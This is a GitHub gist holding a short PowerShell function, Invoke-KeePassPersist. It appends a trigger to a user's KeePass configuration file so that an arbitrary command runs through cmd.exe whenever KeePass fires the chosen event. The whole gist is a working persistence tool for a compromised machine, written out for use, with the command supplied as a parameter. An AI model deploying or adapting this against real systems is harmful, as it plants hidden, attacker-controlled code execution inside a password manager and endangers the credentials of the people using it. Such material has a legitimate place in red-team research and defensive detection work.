Skip to content

Instantly share code, notes, and snippets.

@two06
Last active July 4, 2020 16:04
Show Gist options
  • Save two06/15a0239595a943b22c3331f421950ca9 to your computer and use it in GitHub Desktop.
Save two06/15a0239595a943b22c3331f421950ca9 to your computer and use it in GitHub Desktop.
function Invoke-KeePassPersist {
param(
[string]$Command = $(throw "-Command is required."),
[string]$Name = $(throw "-Name is required."),
[string]$Path = $env:APPDATA + "\KeePass\KeePass.config.xml"
)
#Create a new Guid value
$tGuid = New-Guid
$GuidBytes = $tGuid.ToByteArray()
$Guid = [Convert]::ToBase64String($GuidBytes)
#Define the XML Payload
$XMLString = @"
<Trigger>
<Guid>!GUID!</Guid>
<Name>!NAME!</Name>
<Events>
<Event>
<TypeGuid>2PMe6cxpSBuJxfzi6ktqlw==</TypeGuid>
<Parameters />
</Event>
</Events>
<Conditions />
<Actions>
<Action>
<TypeGuid>2uX4OwcwTBOe7y66y27kxw==</TypeGuid>
<Parameters>
<Parameter>cmd.exe</Parameter>
<Parameter>/c !COMMAND!</Parameter>
<Parameter>False</Parameter>
<Parameter>1</Parameter>
<Parameter />
</Parameters>
</Action>
</Actions>
</Trigger>
"@
$XMLString = $XMLString -replace "!GUID!",$Guid
$XMLString = $XMLString -replace "!NAME!",$Name
$XMLString = $XMLString -replace "!COMMAND!", $Command
$XML = [xml]$XMLString
#parse the config file
$Config = [xml](get-content $Path)
$foundNode = $Config.Configuration.TriggerSystem
$triggerNode = $Config.ImportNode($XML.Trigger,$true)
$TriggersNode = $Config.configuration.Application.TriggerSystem.FirstChild
$TriggersNode.AppendChild($triggerNode) |out-null
$Config.Save("$Path")
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment